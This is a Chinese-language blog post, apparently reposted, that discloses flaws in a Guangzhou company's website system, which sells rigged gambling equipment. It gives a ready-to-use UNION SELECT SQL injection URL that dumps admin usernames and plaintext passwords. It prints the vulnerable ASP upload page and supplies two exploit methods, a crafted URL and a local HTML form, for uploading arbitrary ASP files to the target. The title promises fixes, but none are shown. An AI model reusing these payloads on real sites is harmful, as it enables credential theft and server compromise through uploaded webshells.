<script></script><script></script>
by Mr.DzY from HdhCmsTest0855.tv
今天有一赌友让帮百度一下,有木有老千用的赌具。蛋疼ing....
无奈之下,百度搜:摇控麻将桌,透视牌九等关键字。发现是广州
某公司开发的一套程序,习惯性的检测了一下。发现几处严重的安全 漏洞 。
默认后台:admin/Admin_Login. asp
No.1 SQL注入:
http://HdhCmsTest2cto测试数据 /ko/ShowProduct.asp?ID=615 union select 1,u_name,3,4,5,6,7,pwd,9,10,11,12,13,14,15,16,17,18 from adminuser
很典型的Sql注入。密码是明文的。
No.2 上传漏洞:
漏洞文件:admin/upload_flash.asp
片段:
<%
uppath=request("uppath")&"/" '文件上传路径
filelx=request("filelx") '文件上传类型
formName=request("formName") '回传到上页面编辑框所在Form的Name
EditName=request("EditName") '回传到上页面编辑框的Name
ImgName=request("ImgName") '回传到上页面编辑框的Name
%>
<html>
<head>
<title>文件上传</title>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
<style type="text/css">
<!--
td{font-size:12px}
a{color:#000000;text-decoration: none}
a:hover{text-decoration: underline}
.tx{height:16px;width:30px;border-color:black black #000000;border-top-width:0px;border-right-width: 0px; border-bottom-width: 1px; border-left-width: 0px; font-size: 12px; background-color: #eeeeee; color: #0000FF}
.button{font-size:12px;border-top-width:0px;border-right-width:0px;border-bottom-width:0px;border-left-width: 0px; height: 16px; width: 80px; background-color: #eeeeee; cursor: hand}
.tx1{height:20px;width:30px;font-size:12px;border:1px solid;border-color:black black #000000;color: #0000FF}
-->
</style>
<script language="javascript">
<!--
function mysub()
{
esave.style.visibility="visible";
}
-->
</script>
<script language=" Java Script" type="text/JavaScript">
function Click(){
window.event.returnValue=false;
}
document.oncontextmenu=Click;
</script>
</head>
<body bgcolor="#FFFFFF" text="#000000" oncontextmenu="window.event.returnvalue=false" onselectstart="return false" onpaste="return false"oncopy="return false;" oncut="return false;">
<form name="form1" method="post" action="upfile_flash.asp" enctype="multipart/form-data" >
<div id="esave" style="position:absolute; top:18px; left:40px; z-index:10; visibility:hidden">
<TABLE WIDTH=340 BORDER=0 CELLSPACING=0 CELLPADDING=0>
<TR><td width=20%></td>
<TD bgcolor=#104A7B width="60%">
<TABLE WIDTH=100% height=120 BORDER=0 CELLSPACING=1 CELLPADDING=0>
<TR>
<td bgcolor=#eeeeee align=center><font color=red>正在上传文件,请稍候...</font></td>
</tr>
</table>
</td><td width=20%></td>
</tr></table></div>
<table width="400" border="1" cellspacing="0" cellpadding="3" align="center" bordercolordark="#CCCCCC" bordercolorlight="#000000">
<tr bgcolor="#CCCCCC">
<td height="22" align="left" valign="middle" bgcolor="#CCCCCC" width="400"> 文件上传
<input type="hidden" name="filepath" value="<%=uppath%>">
<input type="hidden" name="filelx" value="<%=filelx%>">
<input type="hidden" name="EditName" value="<%=EditName%>">
<input type="hidden" name="ImgName" value="<%=ImgName%>">
<input type="hidden" name="FormName" value="<%=formName%>">
<input type="hidden" name="act" value="uploadfile">
</td>
</tr>
<tr align="center" valign="middle">
<td align="left" id="upid" height="80" width="400"> 选择文件:
<input type="file" name="file1" style="width:300'" class="tx1" value=""></td>
</tr>
<tr align="center" valign="middle" bgcolor="#eeeeee">
<td bgcolor="#eeeeee" height="24" width="400">
<input type="submit" name="Submit" value="· 开始上传 ·" class="button" onclick="javascript:mysub()">
</td>
</tr>
</table>
</form>
</body>
</ html >
上传有两种方法,仅供学习参考:
第一种,IE里直接构造,如下:
http:/HdhCmsTest2cto测试数据 /ko/admin/upload_flash.asp?formname=myform&Editname=NewsImg&Imgname=&uppath=Mr.DzY/pro&filelx=asp
第二种,本地另存为upload.htm提交,如下:
<form name="form1" method="post" action="http://HdhCmsTest2cto测试数据 /ko/admin/upfile_flash.asp" enctype="multipart/form-data" >
<input type="hidden" name="filepath" value="Mr.DzY/">
<input type="hidden" name="filelx" value="asp">
<input type="hidden" name="EditName" value="">
<input type="hidden" name="ImgName" value="">
<input type="hidden" name="FormName" value="">
<input type="hidden" name="act" value="uploadfile">
<td align="left" id="upid" height="80" width="400"> 选择文件:
<input type="file" name="file1" style="width:300'" class="tx1" value=""></td>
<input type="submit" name="Submit" value="Submit" class="button" onclick="javascript:mysub()">
</form>
两种都可直接上传asp(理论是任意文件),竟然如此过滤。。。。。。你伤不起啊。
Other:
估计还有其它问题,大家有兴趣自行研究一下。
欢迎大家和我交流。QQ:376955424
查看更多关于广州某公司网站系统几个漏洞及修复 - 网站安全的详细内容...